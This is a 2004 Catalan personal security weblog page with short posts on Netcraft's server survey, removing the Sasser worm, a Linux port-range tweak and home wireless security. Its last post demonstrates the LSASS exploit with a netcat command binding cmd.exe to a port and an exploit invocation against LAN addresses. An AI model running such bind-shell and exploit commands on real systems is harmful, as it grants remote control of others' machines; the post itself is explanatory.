Última actualització: 31/05/2004; 00:17:10
Weblog d'en Xavi Caballé
Pàgina personal de Xavier Caballé.
"My name is raincheck, need a shot of rhythm and blues"
        

Enllaços
en finestra nova
Contingut actualitzat


Categories




Contingut antic
(ja no s'actualitza)


Articles
(fins maig 2003)



Versions anteriors
d'aquesta pàgina

Arxiu

dilluns, 3 / maig / 2004


[Infosec Writers] UDP Remote Controls és un article on s'il·lustra la possibilitat de controlar servidors remots via UDP.

23:49  (# Enllaç permanent)  (Comentaris)  


[Netcraft] May 2004 Web Server Survey Finds 50 Million Sites. Per primera vegada, Netcraft ha detectat l'existència de més de cinquanta milions de servidors web (de fet, més de cinquanta milions i mig). Fa un any «només» n'hi havia quaranta milions. Fa gairebé tres anys n'hi havia trenta milions.

El software més popular continua sent, amb moltíssima diferència, l'Apache: el 67,05% o gairebé set de cada deu servidors web fan servir Apache, seguit per l'Internet Information Server de Microsoft que tot just sobrepassa el 21 per cent.

23:44  (# Enllaç permanent)  (Comentaris)  


Outbreak! (cal registrar-se), un curiós vídeo interactiu de TrendMicro on es mostra les diverses proteccions que cal utilitzar dins d'una xarxa per evitar l'entrada d'alguns dels virus més populars.

23:39  (# Enllaç permanent)  (Comentaris)  


Panoguide

Panoguide.com: tutorials, trucs i consells per a fer fotografies panoràmiques.

23:33  (# Enllaç permanent)  (Comentaris)  


[Slashdot] Mitnick Helps Bust Bomb Hoaxer explica com Kevin Mitnick ha col·laborat en la identificació a l'autor d'una sèrie d'amenaces de bombes. Les amenaces es feien a través del telèfon, però modificant el número facilitat per la funció d'identificació de trucada (Caller ID) associat a la targeta. La col·laboració de Kevin Mitnich ha permès identificar l'autor de les trucades.

23:15  (# Enllaç permanent)  (Comentaris)  


Ets un autèntic hacker? Contesta les 507 preguntes d'aquest qüestionari i podràs esbrinar quin és el teu autèntic nivell, des d'un ignorant en qüestions d'informàtica fins al màxim nivell, un Wizard.

16:54  (# Enllaç permanent)  (Comentaris)  


Només cal editar el fitxer /proc/sys/net/ipv4/ip_local_port_range i establir el valor apropiat.
echo 61000 65095 \
     > /proc/sys/net/ipv4/ip_local_port_range
Això és d'especial interès ja que permet un major control de les regles als tallafocs i pot ajudar en la tasca d'impedir la identificació del sistema operatiu.

Més informació a Linux Firewalling and Port Behavior.

16:45  (# Enllaç permanent)  (Comentaris)  


Per eliminar el cuc Sasser cal seguir els següents passos:
  1. Habilitar un tallafocs personal, com el propi sistema tallafocs incorporat a Windows.
     
  2. Instal·lar l'actualització MS04-011 de Microsoft.
     
  3. Utilitzar l'eina publicada per Microsoft per tal d'esborrar el cuc Sasser.
Més informació als dos avisos publicats anteriorment: Sasser i Sasser.B.

13:51  (# Enllaç permanent)  (Comentaris)  


Wireless Security and Monitoring for the Home Network. Mesures de seguretat pels usuaris domèstics de xarxes sense fil.

10:36  (# Enllaç permanent)  (Comentaris)  


Una bona prova de com funciona l'exploit de la vulnerabilitat LSASS:

A la màquina vulnerable, associem un shell a un port:
 d:\>nc -l -p 111 -e c:\winnt\system32\cmd.exe
  
A la màquina 'atacant' utilitzem l'exploit:
 c:\>expl 0 192.168.1.xx 111 192.168.1.yy 
  
 d:\>
  
El segon prompt correspon a la màquina vulnerable.

00:32  (# Enllaç permanent)  (Comentaris)  

© Copyright 2003-2004 Xavier Caballe. . El contingut d'aquest weblog és responsabilitat única i exclusivament del seu autor i no té cap relació amb les seves activitats professionals.

Maig 2004
Diu Dil Dim Dim Dij Div Dis
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31          
Abr   Jun



Subscribe to "Weblog d'en Xavi Caballé" in Radio UserLand.

Click to see the XML version of this web page.






Creative Commons License

Wishlist

Webs d'amics
jcea
Vicent Partal
Jordi Mas
Toni Hermoso
Mercè Molist
Mina Nabona-Jassans

Gurus
Scripting News
Jon Udell
Bruce Sterling
Bruce Schneier
Howard Rheingold
Reflexiones e irreflexiones
Atalaya
Cuaderno de bitácora
Linotipo
Pedro Jorge Romero

Seguretat
reversing.org
Seguridad de la información
Somiatruites, Ciberderechos
     en la red

eN Espiral ~> Juanma Merino
Navega seguro

PDA
CosesPalm
PalmCat
CanalPDA.com

Cultura
El Llibreter